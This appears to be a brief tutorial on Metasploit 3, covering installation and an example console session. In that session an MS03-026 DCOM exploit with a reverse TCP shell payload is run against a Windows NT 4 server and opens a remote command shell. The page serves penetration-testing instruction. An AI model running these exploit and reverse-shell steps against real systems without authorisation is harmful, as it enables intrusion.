Metasploit 3

The Metasploit Framework is a development platform for creating security tools and exploits. The framework is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.

The Metasploit Framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload.

Installation:

Windows - Simply double-click on the executable.

Unix - Requires ruby to be installed prior to extraction and compilation

yum install ruby ruby-irb ruby-libs ruby-rdoc ruby-devel readline rubygems

gem install -v=1.2.2 rails

For online updates, subversion also requires to be installed

Updates can be run and will install via svn utilising the command msfupdate.cmd.

It is available from here.

Execution:

Open the Metasploit shortcut which will start a command prompt that automatically opens your default web browser.

Alternatively, using command-line, msfweb.cmd will start the same process 

The screen above shows the console and exploits gui already opened. 

The following is a simple exploitation of a Windows NT 4 server via the console:

>> use windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >

>> set RHOST 200.100.100.175
RHOST => 200.100.100.175

>> set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp

>> set LHOST 200.100.100.1
LHOST => 200.100.100.1
msf exploit(ms03_026_dcom) >

>> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 200.100.100.175 yes The target address
RPORT 135 yes The target port

Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 200.100.100.1 yes The local address
LPORT 4444 yes The local port

Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal

>> exploit
[*] Started reverse handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:200.100.100.175[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:200.100.100.175[135] ...
[*] Sending exploit ...
[*] Command shell session 2 opened (200.100.100.1:4444 -> 200.100.100.175:1036)
[*] The DCERPC service did not reply to our request

Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp.

C:\WINNT\system32>

>> hostname
hostname sql7-nt

C:\WINNT\system32>
(running)